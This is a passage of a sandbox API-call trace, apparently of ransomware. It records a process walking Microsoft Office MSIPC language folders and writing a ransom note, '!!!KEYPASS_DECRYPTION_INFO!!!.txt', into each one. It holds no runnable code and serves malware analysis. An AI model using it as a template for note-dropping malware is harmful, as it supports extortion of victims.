LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.148] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.148] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.148] WriteFile (in: hFile=0xad4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.149] WriteFile (in: hFile=0xad4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.149] CloseHandle (hObject=0xad4) returned 1 [0259.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876ac0 [0259.149] FindNextFileW (in: hFindFile=0x3876ac0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x3876ac0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.149] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.150] FindNextFileW (in: hFindFile=0x3876ac0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\msipc.dll.mui") returned=".mui" [0259.150] FindNextFileW (in: hFindFile=0x3876ac0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.150] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.150] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.150] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.150] GetLastError () returned 0x3f0 [0259.150] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.150] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\hr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xadc [0259.221] GetFileType (hFile=0xadc) returned 0x1 [0259.221] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.221] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.221] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.221] WriteFile (in: hFile=0xadc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.222] WriteFile (in: hFile=0xadc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.222] CloseHandle (hObject=0xadc) returned 1 [0259.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876840 [0259.222] FindNextFileW (in: hFindFile=0x3876840, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.222] FindNextFileW (in: hFindFile=0x3876840, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.222] FindNextFileW (in: hFindFile=0x3876840, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\msipc.dll.mui") returned=".mui" [0259.223] FindNextFileW (in: hFindFile=0x3876840, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.223] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.223] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.223] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.223] GetLastError () returned 0x3f0 [0259.223] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.223] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\hu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae0 [0259.224] GetFileType (hFile=0xae0) returned 0x1 [0259.224] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.224] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.224] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.225] WriteFile (in: hFile=0xae0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.225] WriteFile (in: hFile=0xae0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.225] CloseHandle (hObject=0xae0) returned 1 [0259.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876b40 [0259.226] FindNextFileW (in: hFindFile=0x3876b40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.226] FindNextFileW (in: hFindFile=0x3876b40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.226] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.226] FindNextFileW (in: hFindFile=0x3876b40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.226] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\msipc.dll.mui") returned=".mui" [0259.226] FindNextFileW (in: hFindFile=0x3876b40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.226] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.226] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.226] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.226] GetLastError () returned 0x3f0 [0259.226] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.226] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\id\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae4 [0259.227] GetFileType (hFile=0xae4) returned 0x1 [0259.227] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.227] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.227] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.227] WriteFile (in: hFile=0xae4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.228] WriteFile (in: hFile=0xae4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.228] CloseHandle (hObject=0xae4) returned 1 [0259.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876cc0 [0259.228] FindNextFileW (in: hFindFile=0x3876cc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.229] FindNextFileW (in: hFindFile=0x3876cc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.229] FindNextFileW (in: hFindFile=0x3876cc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\msipc.dll.mui") returned=".mui" [0259.229] FindNextFileW (in: hFindFile=0x3876cc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.229] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ipcsecproc.dll") returned=".dll" [0259.229] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.229] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.229] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.229] GetLastError () returned 0x3f0 [0259.229] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.229] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\it\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae8 [0259.231] GetFileType (hFile=0xae8) returned 0x1 [0259.231] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.231] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.231] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.231] WriteFile (in: hFile=0xae8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.232] WriteFile (in: hFile=0xae8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.232] CloseHandle (hObject=0xae8) returned 1 [0259.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876540 [0259.233] FindNextFileW (in: hFindFile=0x3876540, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.233] FindNextFileW (in: hFindFile=0x3876540, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.233] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.233] FindNextFileW (in: hFindFile=0x3876540, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.233] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\msipc.dll.mui") returned=".mui" [0259.233] FindNextFileW (in: hFindFile=0x3876540, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.233] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.233] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.233] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.233] GetLastError () returned 0x3f0 [0259.233] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.233] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\ja\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad8 [0259.234] GetFileType (hFile=0xad8) returned 0x1 [0259.234] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.234] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.234] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.234] WriteFile (in: hFile=0xad8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.235] WriteFile (in: hFile=0xad8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.235] CloseHandle (hObject=0xad8) returned 1 [0259.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876740 [0259.235] FindNextFileW (in: hFindFile=0x3876740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.235] FindNextFileW (in: hFindFile=0x3876740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.235] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.235] FindNextFileW (in: hFindFile=0x3876740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.236] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\msipc.dll.mui") returned=".mui" [0259.236] FindNextFileW (in: hFindFile=0x3876740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.236] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.236] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.236] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.236] GetLastError () returned 0x3f0 [0259.236] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.236] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\kk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaec [0259.237] GetFileType (hFile=0xaec) returned 0x1 [0259.237] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.237] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.237] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.237] WriteFile (in: hFile=0xaec, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.238] WriteFile (in: hFile=0xaec, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.238] CloseHandle (hObject=0xaec) returned 1 [0259.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876600 [0259.238] FindNextFileW (in: hFindFile=0x3876600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.238] FindNextFileW (in: hFindFile=0x3876600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.238] FindNextFileW (in: hFindFile=0x3876600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\msipc.dll.mui") returned=".mui" [0259.238] FindNextFileW (in: hFindFile=0x3876600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.238] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.238] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.238] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.238] GetLastError () returned 0x3f0 [0259.238] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.238] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\ko\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaf0 [0259.240] GetFileType (hFile=0xaf0) returned 0x1 [0259.240] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.240] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.240] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.240] WriteFile (in: hFile=0xaf0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.241] WriteFile (in: hFile=0xaf0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.241] CloseHandle (hObject=0xaf0) returned 1 [0259.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876640 [0259.241] FindNextFileW (in: hFindFile=0x3876640, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.241] FindNextFileW (in: hFindFile=0x3876640, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.241] FindNextFileW (in: hFindFile=0x3876640, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\msipc.dll.mui") returned=".mui" [0259.241] FindNextFileW (in: hFindFile=0x3876640, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.241] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.241] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 